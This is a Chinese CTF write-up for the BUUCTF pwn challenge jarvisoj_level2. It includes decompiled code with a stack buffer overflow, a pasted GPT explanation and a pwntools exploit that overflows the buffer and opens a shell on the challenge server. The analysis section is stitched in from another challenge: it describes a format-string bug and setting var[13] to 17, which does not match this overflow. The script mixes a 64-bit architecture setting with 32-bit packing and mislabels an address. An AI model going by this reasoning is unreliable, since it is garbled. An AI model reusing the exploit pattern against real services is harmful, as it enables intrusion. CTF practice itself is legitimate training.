BUUCTF jarvisoj_level2
飞书链接:https://li2h5rwaaaa.feishu.cn/wiki/Jqyaw6kI5i8I5xkHd72c3Nk9nfe 密码:WwR]4r|7
自动化脚本项目地址:https://github.com/Cha111Ng1/ghidra_scripts_cha11
微信公众号:攻有道
题目地址:https://buuoj.cn/challenges#jarvisoj_level2
题目名称:jarvisoj_level2
保护信息

关键函数
void vulnerable_function(void)
{
undefined local_8c [136];
system("echo Input:");
read(0,local_8c,0x100);
return;
}
GPT说:
这段代码是一个C语言函数
vulnerable_function
,它包含了一些安全问题,因此可以被认为是一个有漏洞的函数。让我逐行解释这段代码:
undefined local_8c [136];
:这一行定义了一个名为local_8c
的局部数组,它包含了136个未初始化的字节。这个数组是用来存储输入数据的,但没有进行初始化,这可能导致在使用数据之前出现不确定的行为。
system("echo Input:");
:这一行调用了system
函数,它用于执行 shell 命令。在这里,它执行了一个简单的 shell 命令"echo Input:"
,这会在屏幕上显示 "Input:" 字符串。虽然这个命令本身看起来无害,但是在实际应用中,执行未经验证的 shell 命令可能会导致安全漏洞。
read(0, local_8c, 0x100);
:这一行使用read
函数从标准输入(文件描述符 0)读取数据,并将数据存储在local_8c
数组中。0x100
指定了要读取的最大字节数。这行代码是潜在的安全问题来源,因为它没有检查输入的大小,可能会导致缓冲区溢出漏洞。如果用户输入的数据超出了数组的大小,就会覆盖内存中的其他数据,这可能导致不可预测的错误或者潜在的攻击。总之,这段代码的主要问题在于它没有进行充分的输入验证和保护,因此容易受到输入数据的恶意滥用,可能会导致安全漏洞。在实际应用中,需要谨慎处理用户输入数据,避免潜在的安全风险。

思路:
可以看出利用的是格式化字符串的漏洞,需要我们修改var地址往下数第十四个,类似是数组的结构到var[13]为17,并且为LL就是long long int八个字节,,相当于64位的数据'\x11\x00\x00\x00\x00\x00\x00\x00'。
exp
# 栈溢出模版
# ++++++++++++++++++++++++++++++++++++++++++
# + 微信公众号:攻有道 By:Cha111Ng1 +
# ++++++++++++++++++++++++++++++++++++++++++
from pwn import *
context(os='linux', arch="amd64", log_level="debug")
content = 0
# 计算出的填充字符
payload = b"a"*(0x88+0x04) + p32(0x0804849E)
# 想要其返回的函数地址
system_addr = 0x0804a024
def main():
if content == 1:
# 本地文件方式
cha11 = process("1")
else:
# 远程连接方式
cha11 = remote('node4.buuoj.cn', '28922')
# 跳到恶意位置
exp = payload + p32(system_addr)
# 发送恶意载荷
cha11.sendline(exp)
# 获得一个交互shell
cha11.interactive()
main()
成果:

拓展资料
https://blog.youkuaiyun.com/XDiku/article/details/128746843
【Buu CTF PWN ciscn_2019_n_8 WriteUp】 https://www.bilibili.com/video/BV16L41127cR/?share_source=copy_web&vd_source=cccc7bdde4dee6a54d0feb196cf11a5f